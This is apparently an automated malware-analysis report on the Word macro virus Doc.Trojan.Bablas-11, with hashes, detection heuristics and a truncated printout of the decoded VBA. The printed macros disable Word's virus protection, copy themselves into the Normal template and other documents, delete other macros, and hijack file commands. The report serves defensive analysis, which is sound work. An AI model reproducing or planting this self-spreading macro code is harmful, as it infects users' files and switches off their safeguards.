Doc.Trojan.Bablas-11 — Office (OLE) malware analysis

Static analysis result for SHA-256 9443b0f07ff97ac7…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b25247f2564e1b150fb8239aad4085d6 SHA-1: 634eabae12f04c00b6ac6db0b9cdb18c992f2626 SHA-256: 9443b0f07ff97ac7ffa9ea560117839a2976a516da220e2e9407a68eccb9b3b0
260 Risk Score

Malware Insights

Doc.Trojan.Bablas-11 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as a malicious document by ClamAV, specifically 'Doc.Trojan.Bablas-11'. It contains legacy WordBasic macro-virus markers and VBA macros, including AutoOpen and Auto_Close, which are designed to execute automatically. The macros display messages to the user, such as 'THANK'S FOR YOUR VIRUS SCAN' and 'MACROS HAVE BEEN ACTIFED', and attempt to modify application options, indicating a deceptive and potentially harmful intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Bablas-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-11
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4697 bytes
SHA-256: 77ab2d0493effacc5eeaedc85202cf1d7855e3969b18bb72be2a6cdca78a1364
Detection
ClamAV: Doc.Trojan.Bablas-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VirusScan"
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("THANK'S FOR YOUR VIRUS SCAN")
    End If
End Sub

Sub Bablas()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("MACROS HAVE BEEN ACTIFED", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("You must be alert", vbOKOnly + vbExclamation, "VirusScan")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "VirusScan!"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password") = "azizoke" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "VirusScan" Then DocOk = True
        If Obj.Name <> "VirusScan" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "VirusScan" _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="VirusScan", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "VirusScan" Then NorOk = True
        If Obj.Name <> "VirusScan" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "VirusScan is actifed" + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="VirusScan", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    SikatDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
  
... (truncated)

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